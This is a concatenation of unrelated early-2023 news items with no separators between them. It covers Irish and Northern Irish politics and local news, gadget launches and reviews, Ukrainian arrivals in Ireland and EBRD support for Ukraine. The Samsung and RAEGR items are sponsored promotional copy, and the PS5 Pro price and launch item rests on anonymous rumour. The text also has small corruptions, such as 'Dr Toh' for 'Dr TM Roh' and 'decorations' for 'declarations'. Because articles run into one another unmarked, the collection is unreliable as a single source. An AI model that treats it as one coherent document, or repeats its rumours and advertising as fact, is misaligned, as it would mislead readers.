Northern Ireland Secretary Chris Heaton-Harris has met with the new US special envoy Joe Kennedy III.

Mr Heaton-Harris is on a five-day trip to the US for a series of meetings, and to attempt to drum up investment opportunities for Northern Ireland.

On Tuesday, he had his first in-person meeting with the US special envoy to Northern Ireland for Economic Affairs in Washington DC.

The two men discussed plans to mark the anniversary of the Belfast/Good Friday Agreement in the UK and the US, and ways of increasing trade and investment opportunities.

Mr Heaton-Harris said they shared views on how to best showcase the region.

It was brilliant to meet Joe Kennedy III for the first time in person and hear about his plans for the special envoy role and his vision for Northern Ireland, he said.

Joe has been vocal in his commitment to the prosperity of Northern Ireland and I expressed the value of his support and partnership as we work together to continue to strengthen the NI economy.

We shared views on how we can best showcase Northern Ireland as a great place to live, work, do business and how to continue attracting US investment.

We also discussed US engagement to mark the upcoming 25th anniversary of the Belfast (Good Friday) Agreement, an incredible achievement for Northern Ireland of which US support was instrumental.

Mr Kennedy, a member of the most famous Irish-American political family, was been appointed as US special envoy to Northern Ireland by President Joe Biden in December.

The 42-year-old former Democratic congressman fills the role that has been vacant since January 2021, after the envoy under Donald Trump, Mick Mulvaney, stepped down from the post.
For the first time in three years, Samsung Electronics will host an in-person Galaxy Unpacked event in San Francisco on February 1st, starting at 11:30 PM IST. At the event, Samsung is set to introduce its latest addition to the Galaxy S series, a line of smartphones that brings premium quality and cutting-edge technology innovations every year.

The new Galaxy S series is expected to be the epitome of Samsung's technological prowess, combining all of the company's strengths in hardware, software, and design. The new devices are poised to feature several innovations including superfast processors, cutting-edge performance capabilities and advanced display technology that will provide a premium experience for users. Furthermore, Samsung promises to wow users with amazing camera experiences on these upcoming flagships!

On February 1 at Unpacked, well show how innovation and sustainability working together bring the ultimate premium experience. At a time when the stakes are higher than ever, weve raised the bar by pushing boundaries for the mobile experience  delivering our most powerful mobile experiences youll continue to love for years to come, said Dr TM Roh, President & Head of MX Business, Samsung Electronics, talking about the upcoming Galaxy S series phones.

Watch the next-gen innovation unfold!

The Galaxy Unpacked 2023 promises to be an exciting one, and Samsung fans are eagerly waiting to see what the company has in store for them. You can be one of the first to see the new Galaxy innovations unveiled at the event. The Galaxy Unpacked 2023 will be live-streamed through samsung.com and Samsungs YouTube channel.

Pre-reserve your next Galaxy and enjoy amazing benefits!

Its understandable if you cant wait to lay your hands on these innovative next-gen phones. To get them at the earliest, you can pre-reserve the Next Galaxy phone here at  1999 only (Refundable). Additionally, customers who pre-reserve their device will also be eligible for benefits worth Rs. 5,000!

Geared to impress photography enthusiasts!

Samsungs Galaxy S series has always pushed boundaries with innovation and focused on delivering versatile experiences. The Galaxy Unpacked official page reveals some really cool features including next-gen Nightography for stunning night-time photos, high-resolution camera sensors to capture fine details and incredible zoom that will wow users. These extremely useful and exciting innovations promise to elevate the camera experience to a whole new level!

Samsung has consistently impressed its fans with its advanced AMOLED displays. It will be exciting to see the generational enhancements coming to the 2023 flagships and how the visual enhancements help uplift the user experience.

The new Samsung Galaxy flagship is expected to be powered by a class-leading processor with a high-performance graphics processing unit (GPU). These phones are also expected to include larger batteries and advanced cooling systems to support demanding users.

This year, Galaxy S series has extended our innovation heritage by doubling down on our fundamentals. Thats why our pro-grade camera system is getting smarter, offering the best photos and videos in any light among our Galaxy smartphones. Along with the hardware and software optimization, our newest chipset, born out of Samsungs open partnership philosophy, enables the fastest and most powerful Galaxy performance. Our ecosystem connectivity is also getting easier and more seamless than ever, Dr Toh detailed further.

The upcoming Samsung phones are expected to be extremely durable, and able to withstand everyday wear and tear. They are expected to feature rugged build quality and tough materials, making them resistant to damage from drops and impacts.

Samsung phones are also secured by Knox which represents the high level of security built into the device, offering protection for both businesses and individual users at both the hardware and software levels.

Continuing its commitment to a sustainable future, Samsung will be using more recycled materials for the components used in the Galaxy S series, setting a benchmark for other manufacturers.

Apart from the Galaxy S series, Samsung will also be bringing in the new Galaxy Book3 series. These are expected to be premium and power-packed laptops that blend seamlessly with the Galaxy Ecosystem of products for an extremely refined user experience.

Hyped already? Gear up for the official unveiling of Galaxy S series devices in Samsungs Galaxy Unpacked live event on February 1, 2023. Mark your calendars.

[Brand Story]
It is believed that the Sony PS5 Pro might be launching in April of 2023 and it may be priced around 40,000 to 50,000 in India.

A recent report from an anonymous source reveals new information about Sony's upcoming home console. The source claims that Sony plans to release a new model of the PS5 as early as April 2023, which would be approximately two and a half years after the original version was released in late 2020. The likelihood of this new model is a Pro version rather than the rumoured "slim" version is said to be very high.

More PS5 rumours

Additionally, there are rumours about an increase in performance for the new model. It is known that the current PS5 uses a fan and liquid metal compound for cooling, which has recently sparked some controversy.

However, it is speculated that Sony may replace the current cooling system with liquid cooling or "watercooling" which is commonly found in gaming PCs in the next generation. This would likely result in improved heat management, allowing the console to handle a more powerful chip without overheating. This change in cooling may also imply a redesign, but it will be unclear until more information is released.

Sony PS5 Pro price in India

It is believed that the Sony PS5 pro could be priced around 40,000 to 50,000 in India. This will be confirmed once the product actually launches.
AMD has launched the Ryzen 7020 series and Athlon 7020 series of processors in India. Within the former, there is AMD Ryzen 5 7520U and Ryzen 3 7320U. As for the Athlon brand, the newcomer is Athlon Gold 7220U. These are affordable everyday mobile CPUs meant for office work and regular home use. They are manufactured on TSMCs 6nm process and come with Zen 2 CPU architecture and RDNA 2-based graphics. AMD punctuates best in class performance along with power efficiency.

AMD Ryzen 7020 and Athlon 7020 processors

The lower of the two Ryzen 7020 processors, viz. AMD Ryzen 3 7320U (4GB RAM) boasts 58% snappier multitasking and 31% improved application load times than Intel dual-core Core i3-1115G4 CPU (with 8GB RAM).

Thats a bold claim and it manages the same with this configuration: 4 cores and 8 threads, with 2.4 GHz base frequency, 4.1 GHz boost clock speed, 2MB L2 + 4MB L3 cache, Radeon 610M GPU, up to 32 GB 64-bit dual-channel LPDDR5 RAM, and 15W TDP.

There is also the more powerful Ryzen 5 7520U CPU with the key difference being a faster 2.8 GHz base clock speed and 4.3 GHz max frequency.

Besides the two, AMD Athlon 7020 (or AMD Athlon Gold 7220U) offers 2 cores, and 4 threads, with 2.4GHz base frequency, 3.7 GHz boost clock speed, 5MB of shared L2/L3 cache, and Radeon 610M GPU.

Both the new Ryzen and Athlon processors are said to give 12 hours' worth of runtime. You get fast charging support. Among other things, the two mobile CPUs come armed with the Microsoft Pluton security processor and other security features of Windows 11, Modern Standy, and the wake-on-voice feature.

For more technology news, product reviews, sci-tech features and updates, keep reading Digit.in or head to our Google News page.
The Minister of Commerce and Industry Mr Piyush Goyal announced that tech-giant Apple has new plans for India. The company is planning to increase its iPhone production in India to 25% from the present 5-7%.

The minister further praised the move as "another success" story for the economy. However, there has been no official confirmation from Apple's side. Recently, Apple produced the latest model of the iPhone 14 series in India, close to its launch. This was a first as Apple was earlier only producing older models in India.

Manufacturing of iPhones started in India only in 2017. Apple has entrusted Foxconn, a Taiwanese company with the production of its phones. In India, they are being produced in Sriperumbudur which is located on the outskirts of Chennai.

Apple to increase iPhone production in India

Analysts from JP Morgan have said that Apple could bring 25% of its global iPhone production to India by 2025. This could come as a blessing to India's economy as Apple is the world's biggest technology company. Eventually, this would help establish India's image as a high-skill tech market.

Apple is exploring options to shift some of its manufacturing elsewhere from China. A majority of the iPhones are being produced in China. However, during the Covid outbreak production saw a lot of disruptions.

A CNBC report also stated that India is considering bringing a certain part of Apple's iPad production home from China.

Presently, Apple only has a small 5% market share in India's smartphone market. But at the same time, CEO Tim Cook has recognized it as a potential market.

For more technology news, product reviews, sci-tech features and updates, keep reading Digit.in or head to our Google News page.
Charge your Apple devices with elegance  RAEGR, the consumer tech accessory brand well-known for its wide range of lifestyle and tech products, announces a premium and stylish, yet extremely versatile and minimalistic wireless charger MagFix Arc M1050. This exquisite table gadget can charge every Apple device (and Android) that supports wireless charging.

Topping up your fleet of Apple devices (iPhone, Watch, AirPods) with each of its cables calls for a messy table with cluttered wires and numerous chargers connected to your wall outlet. Free your Apple gear from the clutches of that unwanted web of white wires  gift yourself a RAEGR MagFix Arc M1050 and youll be thankful. The M1050 is a premium and stylish, yet extremely versatile and minimalistic wireless charger 3-in-1 wireless charging solution that displays excellent craftsmanship and extraordinary technology at work. This piece of art is a super-slim, with an all-aluminium alloy frame designed with a simplistic shape that simply works great. It features three charging coils that support QC2.0 and QC3.0 wireless induction charging with an efficiency of up to 15 watts. Though its also compatible with all Android devices which support wireless charging, this elegant power stand is highly recommended for Mag-Safecompatible Apple devices, i.e. Apple iPhone 12/13/14-series.

The MagFix Arc M1050 also helps wirelessly charge your AirPods with wireless charging compatible and Watch Ultra/8/7/6/5/4/3/2/1/SE)simultaneously, along with an iPhone. The charger is designed with an ergonomic frame to accommodate the simultaneous charging of all three devices. Place your Watch on the top pad, the Airpods can rest in the bottom rear, and your iPhone can be attached on the front using its built-in strong neodymium magnets. Thanks to the silicone pads, your devices are safe from slipping due to the extra grip. Your iPhone can rest on the stand both horizontally or vertically, making it super convenient to use it as a mobile stand for reading, video charts, or the like.

All you need is a 20W or above PD Charger, or a QC 2.3/3.0-compatible charger, and youre good to go. The MagFix Arc M1050 can automatically sense the device placed on it and efficiently charge them with a power rating of up to 15W. The wireless charger is built with short circuit safeguards and over-current, over-heat and over-voltage protection while fast charging devices with intelligent power adjustment between 5W, 7.5W, 10W, and 15W accordingly.

The RAEGR MagFix Arc M1050 3-in-1 Wireless Charger is available on Raegr.com, Amazon.in and Flipkart.com for Rs.2399 with up to 1.5 years of warranty.

About RAEGR:

RAEGR is a consumer tech accessory brand that offers a wide range of lifestyle and tech products. The product catalogue includes Wireless Chargers, Bluetooth Audio such as Speakers, Headphones and Earphones, Smartphone Cases and Mobile Accessories. RAEGR Wireless Chargers have been ranked the best in their category on Amazon India. The brand introduces innovative and high-quality products based on customers' needs while maintaining excellent value and satisfying customer experience. The brand is owned by Georgian Enterprises, Bangalore.

Experience their products at www.raegr.com, Amazon India, and Flipkart.

For more technology news, product reviews, sci-tech features and updates, keep reading Digit.in or head to our Google News page.
Xiaomi has built a legacy with its Redmi Note series of phones over the past few years, and in 2023, it's looking to expand that said legacy with the Redmi Note 12 series of phones. Of these, we've already reviewed the Redmi Note 12, and today we have with us the Redmi Note 12 Pro+. As the flagship device from the series, the Redmi Note 12 Pro+ attempts to push boundaries and cram within its sleek frame some high-end features and hardware. But will these be enough to help the Redmi Note 12 Pro+ become a hit? Let's find out in our review of the device.

Redmi Note 12 Pro+: Design

So, if I'm being brutally honest, the design department is where the Redmi Note 12 Pro+ attempts the least to impress. With the phone, Xiaomi hasn't attempted to make the phone look the sleekest, or the most interesting. However, what it has definitely managed to do is bring to the market a phone that has a very functional design, equipped with elements that most long-time admirers of the series will be appreciative of.

Its rather bulky design also affords the Redmi Note 12 Pro+ the feel of a well-built device that also feels safe in the hands. Additionally, we have tactile keys, a glass finish at the back and interestingly a 3.5mm jack on the top of the device to make it more appealing to buyers. In India, the Redmi Note 12 Pro+ is available in three colour variants, of which we have the Iceberg Blue Note 12 Pro+ that flaunts a matte finish look. In my opinion, this finish gives the phone a very understated, yet classy look, and an even better in-hand feel.

Apart from this, the other big thing of note in the design of the Note 12 Pro+ is that it gets Gorilla Glass 5 protection on both the front and back. This should afford it plenty of protection against not just accidental falls but also scratches if you end up keeping the phone in your pocket along with stray coins and keys.

Redmi Note 12 Pro+: Display

As for the display, Redmi has gone in big with a large 6.67-inch Full HD+ AMOLED panel which not only gets good tuning but also supports fast refresh rates -- which can be switched between different steps, 30,60, 90 and 120Hz. As we mentioned above, this one is protected using a sheet of Corning Gorilla Glass 5, which should protect the panel against minor drops and falls, and scratches.

This panel on the phone offers immersive visual experiences, which honestly is because of two reasons: The first is that its hardware is built as such, and the second is that it is also calibrated for providing great visual experiences, no matter what kind of content you're consuming on the device.

The only real thing that ever hampers the visual experience on the phone is the fact that it comes with some bezels on the bottom and the top of the panel, along with a punch-hole that Redmi really couldn't have done away with. But apart from this, the phone's display offers everything you need to create immersive visual experiences.

From its high brightness mode rating of 1000nits to the fact that it can display up to 1.07 billion colours, there is very little that Xiaomi didn't think about while creating the 12 Pro+. Plus, you have features such as support for Dolby Vision on the phone, which means watching supported movies and shows on platforms like Netflix and Prime Video turns into a joyful experience.

Redmi Note 12 Pro+: Performance

During our time on the phone, we were happy to find out that the Redmi Note 12 Pro+ also impresses in the performance department. Equipped with the MediaTek 1080 SoC, the phone offers more than enough power for all that you throw at it. While it's true the chipset is not the fastest in the market, it is fast enough for what a mid-range phone like the Redmi Note 12 Pro+ is expected to offer.

Games such as Call of Duty Mobile and Asphalt 9 Legends ran like a charm on the phone, with daily use apps running buttery smooth on the 120Hz fast refresh rate panel of the device. The same was the case for benchmarks, where popular ones like Geekbench, AnTuTu and PC Mark Work 3 all ran without a hitch on the device. Let me give you an idea about the performance by sharing some numbers.





So on AnTuTu, we saw the phone clocking a good score of 457561 points, while Geekbench saw it scoring 753 points in the single-core and 1985 points in the multi-core test. In Work 3, we saw it racking up a score of 11292 points. All impressive scores might we add.

But one benchmark where this new chipset with two 2.6GHz Cortex-A78 performance cores really shines is the CPU Throttling Test. In this test, the phone majorly ran cool, keeping up sustained peak performance, which is always a good sign to judge the longevity of the phone.

Battery performance is also an area where we see the positive impacts of the MediaTek 1080 SoC as this chipset generally runs cool, and as such, does not drain too much battery. This is coupled with the fact that the phone comes with a huge 5,000mAh battery pack that helps the phone easily get through a day, and then some more, on a single charge.

And when you finally run out of charge, you can use the 120W fast charger inside the box to top the battery up to the brim in nearly 22 minutes. Pretty neat for a big battery-sized phone.

Redmi Note 12 Pro+: Camera

The camera department is where things get a little (more) interesting. This is because the phone comes with a massive 200-megapixel Samsung ISOCELL HPX primary camera sensor, which as we found during our review is quite capable as a lens. This one is paired with an 8-megapixel ultra-wide-angle camera and a 2-megapixel macro sensor. It's no secret, the first of these lenses is the one that's the most interesting as it captures some really detail-rich shots in both well-lit and low-light situations.

When fed with adequate light, resultant shots come out with good dynamic range and punchy colours. And when the light is low, the 1/1.4-inch sensor comes into its own and starts pulling in enough light and detail from outside to ensure the images don't look dark or noisy because of processing. However, this is without the Night Mode. With this mode on, resultant shots end up appearing over-processed and as a result a bit too soft. Plus, they also look a bit artificially brightened, which honestly, is never a good look for an image.

The ultra-wide lens also does a decent job, but its limitations do start to take over once you click a few shots using it. During our time with it, we found ultra-wide images from this lens show some amount of barrel effect around the edges. It is also interesting to note that images clicked using this lens also had a slightly warmer tone to them when compared to the images clicked using the primary lens.

As for the macro-lens, the performance is just about passable -- but only in well-lit environments. In low light, its performance understandably goes for a toss. Apart from these, we also get a 16-megapixel lens that's again decent at its job. The lens mostly captures accurate skin tones, with Xiaomi also managing to keep the problem of over-processing skin details in control.

Redmi Note 12 Pro+: Verdict

The Redmi Note 12 Pro+ is a very good upgrade if you're using a previous generation Note series device from Xiaomi. If this is the case then you'd be in for a familiar experience, that'll just feel a lot more refined and also significantly improved in some areas such as the camera department.

Even if you're not looking to upgrade from a Redmi Note device, and your budget happens to be around the Rs 30,000 mark, then know the Note 12 Pro+ still makes a lot of sense for you. For the price, it is a very well-rounded phone that offers everything and then some more you'd want from your next mid-range smartphone. The only thing holding back the device is its design, which honestly does not do much to tilt the scales in Note 12 Pro+ favour when it's compared to some of its rivals in the price segment.

But then again, design is a very subjective matter, and my views on the design of the Note 12 Pro+ are mine alone. So if everything else about the phone looks fine to you, then I'd urge heading to your nearest Xiaomi store to check out the design in person, and then go ahead and make the purchase, because honestly, this is a really good phone that deserves your attention.
There were 67,448 arrivals from Ukraine in Ireland by 11 December 2022, according to figures from the Central Statistics Office (CSO), of which just over 1,100 arrived the previous week

As of the week ending 11 December 2022 there have been 67,448 Personal Public Service Numbers (PPSNs) issued to individuals from Ukraine under the Temporary Protection Directive.

Of the arrivals from Ukraine, 87% showed activity in administrative data after 30 September 2022, based on data currently available to the Central Statistics Office (CSO).

Women and men, aged 20 and over, account for 46% and 20% respectively of arrivals to date, while individuals aged 0-19 (both male and female) make up for 34% of arrivals.

Of all arrivals to date aged 18 and over, 62% of males and 47% of females were married or cohabiting.

There were 13,619 arrivals enrolled in further education and training courses on 01 December 2022, of which 11,648 enrolled in further education English language courses.

As of 11 December 2022, 69% (or 16,785 persons) of the arrivals that attended employment support events arranged by Intreo Public Employment Services, noted that English language proficiency was a challenge in securing employment.

Of the 24,164 arrivals who attended an Intreo event, 14,674 had recorded previous occupations, with professionals being the largest group at 32%. Of the 19,103 persons where the highest level of education was recorded, 65% had achieved an NFQ level equivalent to 7 or higher.

Commenting on the release, Karola Graupner, Statistician, said: This Arrivals from Ukraine in Ireland release is the eighth in a series of releases by the Central Statistics Office (CSO) providing insights into Irelands response to the Ukrainian crisis. This release includes an analysis of Ukrainian arrivals who are availing of support and services from the Department of Social Protection, as well as providing insights into primary and secondary school enrolments overseen by the Department of Education and enrolments in further education and training based on data provided by SOLAS.

Also included is an experimental measure of arrivals from Ukraine that were still administratively active after 30 September 2022, incorporating PAYE Modernisation (PMOD), Department of Social Protection and SOLAS data. Furthermore, data on barriers to work, previous and current employment and education level is included in the release."
Paschal Donohoes ministerial reputation lies in tatters, Mary Lou McDonald said, as she clashed with the Taoiseach on the election expenses controversy.

Addressing the Dail during Leaders questions, the Sinn Fein leader said the furore over undeclared donations carried the stench of cronyism and favours for insiders.

Her remarks prompted heated exchanges with Leo Varadkar, who accused her of hypocrisy as he highlighted a series of issues related to Sinn Feins finances.

Ms McDonald claimed Mr Donohoe had engaged in an exercise in concealment and cover-up from start to finish.

This whole saga with Fine Gael's Minister has the stench of cronyism and favours for insiders. His ever changing cock and bull story, his ducking and diving to evade accountability has been an exercise in deliberate concealment and cover up from start to finish  @MaryLouMcDonald pic.twitter.com/Jlo3ZpAxiE  Sinn Fein (@sinnfeinireland) January 24, 2023

The theme of this controversy is the ministers ever-changing story, the muddying of waters, the ducking, the diving to evade accountability, she told the Dail.

Mr Stone claims that minister Donohoe asked him twice if he had paid for his postering operation in the 2020 general election and that he told the minister that he had not.

Then in a eureka moment, as the minister was being questioned on the floor of the Dail, he remembers that he had in fact paid for the postering in 2020.

This is the farcical story that the minister asked the Dail and the public to believe and nobody buys it.

The reason why Mr Stone has had a sudden recollection is because he knew they were caught out. The idea that this donation simply slipped through the net and slipped out of memory doesnt stack up.

The idea that the minister didnt know and the businessman simply forgot does not hold any water.

The ministers credibility now lies in tatters.

He has chosen concealment and cover up again and again and at every turn the truth has to be dragged out of him.

Addressing Mr Varadkar in the chamber, Ms McDonald added: The minister misled the Dail last week and now to continue the cover-up Michael Stone falls on his sword, all to protect the minister.

Taoiseach, are you also standing by this story? Do you also claim that the minister didnt know and that the businessman simply forgot.

As head of government, do you stand by this account of events?

Mr Varadkar defended Mr Donohoe and said he believed the public expenditure ministers explanation.

Ive heard his explanations over the weekend, spoke to him about it, and I believe him, he said.

He said during chaotic election campaigns it would often be assumed that people offering to put up posters were doing so on a voluntary basis.

Mr Varadkar then focused on Sinn Feins finances and questioned the partys conduct on a series of issues, including the decision to declare a multimillion pound donation to electoral authorities in Northern Ireland rather than in the Republic of Ireland, where rules prohibit such large donations.

He claimed the move was done with questionable legality. The Taoiseach said Sinn Fein also failed to include a 7,000 euro payment to a UK polling firm in its 2020 election accounts declaration.

So, Sinn Fein, your entire party, filed your returns in 2020 three times because of errors identified by the media and the sums involved were much greater than any sums involved in relation to minister Donohoe here, he said.

So, its a very different standard that you seem to be trying to apply to him than you would apply to your own party.

Mr Varadkar then referred to a 1,000 euro donation made by former Sinn Fein councillor Jonathan Dowdall, who last year was convicted of facilitating a gangland murder in Dublin.

The Taoiseach said Ms McDonald needed to clarify whether the donation was made to her or her party.

You need to consider revising your own declarations, he said.

Your declaration shows that you received a personal donation of 1,000 euros from your friend, gangland criminal and Navan Road torturer John Dowdall.

Around you are members of your party who claim that that was a donation to your party, that requires you to decide which it was, and to make an amendment to your own declarations deputy, just as minister Donohoe has.

Ms McDonald accused the Taoiseach of attempting to distract from the central issue.

If the Minister for Finance has a very faulty memory, I have to say you are of Olympic level competence in trying to breed further distractions, she said.

The Sinn Fein leader said the real rub in the controversy was that a wealthy individual who was the beneficiary of state contracts and was appointed to state boards was a donor to the minister.

She said the concealment of the donations was a real cause for public worry.

I put it to you Taoiseach that it is not credible on your part for you to attempt to stand over these donations that were undeclared and the cock and bull story that your colleague has fabricated, after the fact, to try and cover his tracks, she said.

Mr Varadkar said he was exposing Sinn Fein hypocrisy on donations.

Exposing your hypocrisy is not a distraction, its simply telling the truth, something that you consistently run a mile from, he told Ms McDonald during the Dail exchanges.

And I think youve some brass neck, quite frankly, in that regard, given that your own party had to file your 2020 decorations on three occasions because of a 7,000 euro payment to a UK polling company that you forgot about until the Irish Times questioned you about it.

Mr Varadkar accused Ms McDonald of making a snide reference to Mr Stone receiving public contracts from government.

You know as well as I do, that Government ministers have no role in awarding commercial contracts to businesses, he said.

Thats a pure distraction, trying to throw that one out there under coverage of privilege quite frankly.

Speaking later at the Irish Farm Centre in Dublin, Mr Varadkar said Mr Donohoe has not broken any spending limits, and said the matter shouldnt be decided in the political chamber.

We have a standards commission, a complaint has been received, theyre looking into it and I think we should now move on and allow the standards commission to do its work, he said.
The plight of people in the mid Louth area who were without water on Christmas Day, and in some cases, right up to 31 December, was highlighted at last week's Louth County Council meeting, with Cllr Pearse McGeough telling the meeting that Irish Water is not fit for purpose.

Highlighting issues that have been faced by Louth people including low pressure, outages and undrinkable water, Cllr McGeough told the Dundalk Democrat that Irish Water has questions to answer.

To have no water for a few hours on any given day is inconvenient and a nuisance, Cllr McGeough commented, but imagine your water going off on Christmas Day, just as you are preparing the Christmas dinner and trying to get the children washed and dressed for the big day.

The mid Louth councillor said that this was the scenario on Christmas Day when he was contacted by residents of Ballapousta, Dromiskin, Stabannon, Ardee and surrounding areas. Upon checking the Irish Water website, he said, the information was that there was a fault but the water should be on by 1pm.

That was only a few hours so although inconvenient, at least it was being fixed, said Cllr McGeough. Unfortunately 1pm came and went, and for some residents, their water returned at half pressure for around three hours and the water was muddy and couldnt be used for washing or drinking. The water went off again at 5pm.

Cllr McGeough said that Irish Water was asked to provide drinking water because everywhere was closed as it was Christmas Day, the one day of the year when literally everywhere is closed. They refused the request, he added.

According to Cllr McGeough, following numerous contacts with Irish Water not only was there no water for residents in Ballapousta and Kilpatrick area but there was no information or communication from Irish Water. He added that website was updated to say that works had been completed and water may take a couple of hours to return to normal.

On 26 December, St Stephen's Day, Cllr McGeough said that they were now moving into day two of no water, and that while at least some of the shops were open again so residents could at least buy drinking water but still no reliable information from Irish Water. Cllr McGeough said that muddy water would appear for a while each day before going off again totally.

On 28 December (day four), he added, a Louth County Council official visited the area to see what the problem was and confirmed that the pump station wasnt working. This was the responsibility of Irish Water and he notified Irish Water that it needed to be reset and we were told the water should be back around 2pm. The water had not returned at this stage however, according to the Sinn Fein councillor.

On 29 December, (day five) Cllr McGeough said that Irish Water told him that investigations were being carried out and all looked hopeful as the water returned, but only for one to two hours, he added.

Irish Water informed Cllr McGeough, he says, on 30 December (day six) that crews were working on the pump station interruption, but there was still no water, adding that it was not until day seven, New Year's Eve on 31 December, when water returned to normal.

Cllr McGeough said that throughout this week of drought there was very little communication from Irish Water, and while I appreciate that Customer Service agents only report what they have on their screen/website, their information was inadequate and inaccurate.

A week is a long time with no water but especially over the holiday period. He continued: It should be noted that complaints were logged with Irish Water each and every day. The people of the area were left not knowing from one hour to the next if they would have water or not.

This frustration continued for a week which is wholly unacceptable. When things like this happen, people tend to be so relieved to have the water back that they draw a line under the issue but I get calls like this all the time as do most councillors.

Cllr McGeough added, Irish Water is not fit for purpose. Their communication is abysmal with most responses being cut and paste. People in Louth are regularly faced with low pressure, outages and in the past, undrinkable water. Its just not good enough and Irish Water has questions to answer.

Cllr McGeough's comments at the Louth County Council January meeting, were supported by both Cllr Dolores Minogue and Cllr James Byrne.

Cllr Minogue said that better communication is needed from Irish Water. She added that if Irish Water had told them there would be no water for five days then they could work with it but they needed the communication.

Cllr James Byrne said that he had been told on Christmas Day that an investigation was underway to find out what the issue was but three days later he found out that this was not the case.

Louth County Council's Head of Finance, Bernadette Woods, told members at the January meeting, that she would pass on the issue regarding the lack of communication to Irish Water.

Irish Water was contacted by the Dundalk Democrat for a comment on the issue but it has not yet responded.
Garret Mallon Jewellery from Louth was announced as the winner of the Best Jewellery Product at the annual Showcase Awards, which were announced at Showcase - Irelands International Creative Expo, on Sunday at the RDS.

The annual event returned to the RDS for three days over Sunday to Tuesday, 22 - 24 January. One of the countrys largest international trade fairs, Showcase 2023 welcomed over 380 exhibitors and more than 4,000 buyers from Ireland and overseas. Upwards of 20 million in business was expected to be transacted across the three-day event.

Exhibitors selected for the Showcase Best Product Awards 2023 were chosen by a panel of industry experts from exhibitors spanning Home & Gift, Fashion, Jewellery, and Wellness. The judges nominated the Best Product in each of their categories and the overall Best Product Award at Showcase 2023 was chosen by the Showcase judging panel.

The Showcase Best Product Award in the jewellery category went to Garrett Mallon Jewellery, which is based in Louth, for its Clan Collection.

The winner of the overall Best Product Award was Tom King of An Gobha Iron Works and Experience, for his Iron St. Brigids Cross. An Gobha offers immersive and interactive experiences of traditional iron age metal forging delivered with theatre, stories, myths, and legends in Bohermeen, Co Meath.

Showcase is promoted internationally by Enterprise Ireland through its network of overseas offices. Speaking ahead of the opening event, Enterprise Ireland CEO Leo Clancy said:

Showcase Ireland 2023 offers Irish designers and manufacturers in the Consumer Products sector valuable opportunities to present their unique products. It allows Irelands innovative brands to connect with over 80 international buyers hosted by Enterprise Ireland at the Enterprise Ireland International Buyers Hub in the RDS.

"Enterprise Ireland is delighted to collaborate once again on this significant annual event which presents a forum where we can support the delivery of a key strategic focus to support Irish companies to win new business in international markets.
ChangeX has launched the Accenture Sustainable Community Challenge, supported by Accenture. The initiative, designed to enable community groups to kickstart sustainability projects in their own locality, is now open for applications. Successful applicants will receive the resources, seed funding and support needed to start a project in their local community, empowering them to build thriving and sustainable communities.

Groups can choose from a portfolio of proven ideas that have already had a positive impact in other communities in Ireland and around the world. Ideas include Community Fridge, which supports the sharing of surplus food and the reduction of food waste, and Open Orchard, which connects communities through the planting of fruit trees in public places.

This is the second Accenture Sustainable Community Challenge launched by ChangeX in Ireland. It builds on the success of the 2021 Challenge, which supported 22 local groups to start environmental sustainability projects, benefitting over 2,200 people in communities across Ireland.

Sustainable Skerries community group received funding in 2021 to start an Open Orchard project in North County Dublin. Over 50 people, adults and children, took part and planted 20 trees in our first Open Orchard, right in the middle of Skerries, said Sabine McKenna, Chair of Sustainable Skerries.

The day  and the wider project  was very much about community building, working on the planting together and then sharing some tea and cakes and chatting.

Deirdre Murphy, Corporate Sustainability Lead at Accenture in Ireland added, All of us are more aware than ever before of the responsibility we have to take action to address the climate and biodiversity crises. At Accenture, were working to embed sustainability into everything we do, and with everyone we work with, including in our communities and when crowdsourcing innovations that will help drive sustainable impact globally.

"Communities truly hold the power to be catalysts for real change, and were excited to be able to play a small part in empowering community action in Ireland through our partnership with ChangeX.

Groups, individuals, and organisations who are passionate about building a thriving community are encouraged to apply to roll out one of the six initiatives for their community at www.changex.org. Seed funding will be allocated to qualifying applicants on a first-come, first-served basis.

To date, more than 20,000 community projects have started through the ChangeX platform, with local groups across Ireland, Europe, the United States and Latin America accessing the ideas, support and funding needed to have a measurable impact in their local area.
Dundalk school Colaiste Chu Chulainn took first and second place in the regional Applied Mathematics Problem Solving competition last week.

On the 19th of January, 11 students from Colaiste Chu Chulainn took part in the regional problem-solving competition for the Irish Applied Mathematics Teachers Association (IAMTA) hosted by the Marist college, Dundalk.

This is an annual competition with winners progressing to a national final.

There were four schools in attendace from Louth and Dublin.

The winning team of Lorcan Garvin, King Farinas, Jack Kilbride and Anastasija Markova took 1st place with a score of 39 points, among the highest scores recorded nationally.

Second place was taken by Cedric Saavedra, Finnian Oakes, Jonathan Gibson and Eimantas Lingis.

The winning team now goes onto the national final in Athlone Community College on March 25th with a good chance of the second team also qualifying.

Mr Daniel Gallagher, the schools teacher of Applied Mathematics and Mathematics stated: This is an excellent achievement for the school and our students.

"We came new to the competition last year and won first place.

"The students set an action plan to recruit and enter additional teams and set an ambition to increase their impact on the competition.

Applied Mathematics is a rewarding subject that complements engineering, physics and mathematics to name but a few. We look forward to meeting schools from all across the island in the national finals.

Colaiste Chu Chulainn was also represented by the high scoring trio of Lochlann Mattison, Cillian Naylor and Alice Adeyemo.
The Netherlands and the EBRD join efforts to support Ukraines agribusiness sector

25 million in guarantees from the Netherlands to help provide emergency liquidity

Funds to help safeguard food security

The European Bank for Reconstruction and Development (EBRD) is joining forces with the government of the Netherlands to back Ukraines agribusiness sector and safeguard global food security.

The Netherlands, an EBRD founding member and an important donor to the Banks efforts in Ukraine, is providing a 25 million funded guarantee to support private companies operating in critical agri-related industries, whether it be farming or food processing, transport or imports. Last year it provided a 70 million grant supporting an EBRD loan to Ukrenergo, Ukraines electricity transmission company, for urgent repairs to the infrastructure that was heavily bombed during Russias war on the country.

Ukraine is a major agricultural economy that supplies farming produce around the world. Boosting food security during the war  both locally and internationally  is a key element of the Banks support plan for Ukraines real economy.

The contribution will be dedicated to food security and will help to leverage further EBRD financing in Ukraine.

The guarantee agreement was signed today in London by the Deputy Director of Foreign Financial Relations, Dutch Ministry of Finance, Robin Uyterlinde, and EBRD Managing Director, Impact and Partnerships, Ines Rocha.

It is important to support Ukraines economic resilience in this unjustified war. By supporting Ukraines agribusiness sector we also enhance food security around the world, including in many developing countries, explained Robin Uyterlinde.

The war on Ukraine puts at risk food security globally, because Ukraine is a significant food producer and exporter. The financing will back Ukraines agri-related private companies, helping overcome the looming global food crisis, said Ines Rocha.

To address the Ukrainian economys current challenges, the EBRD is prioritising trade finance, energy security, vital infrastructure and food security, and providing liquidity to pharmaceutical companies. Investments in all areas will involve risk sharing with partners such as the United Kingdom.

